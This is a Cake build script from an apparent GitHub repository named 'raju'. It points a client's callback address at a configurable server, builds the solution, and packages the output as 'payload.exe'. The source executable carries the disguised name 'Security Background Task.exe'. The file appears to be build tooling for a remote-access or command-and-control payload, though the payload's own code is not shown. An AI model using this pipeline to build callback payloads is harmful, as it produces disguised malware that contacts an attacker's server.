-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbuild.cake
48 lines (42 loc) · 1.11 KB
/
build.cake
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#tool nuget:?package=NuGet.CommandLine&version=5.9.1
#addin "Cake.FileHelpers"
var target = Argument("target", "Make-Payload");
var address = Argument("Server", "localhost:5000");
Task("Restore-NuGet-Packages")
.Does(() =>
{
NuGetRestore("raju.sln");
});
Task("Update-Server-Address")
.Does(() =>
{
Information("Server Address is - " + address);
ReplaceRegexInFiles("raju/ClientForm.cs","(shyaamAddress =.*;)", "shyaamAddress = \"http://" + address + "/\";");
});
Task("Build")
.IsDependentOn("Restore-NuGet-Packages")
.IsDependentOn("Update-Server-Address")
.Does(() =>
{
if(IsRunningOnWindows())
{
// Use MSBuild
MSBuild("raju.sln", settings =>
settings.SetConfiguration("Release"));
}
else
{
// Use XBuild
XBuild("raju.sln", settings =>
settings.SetConfiguration("Release"));
}
});
Task("Make-Payload")
.IsDependentOn("Build")
.Does(() =>
{
EnsureDirectoryExists("out");
CopyFile("raju/bin/Release/Security Background Task.exe", "out/payload.exe");
Information("Created payload.exe");
});
RunTarget(target);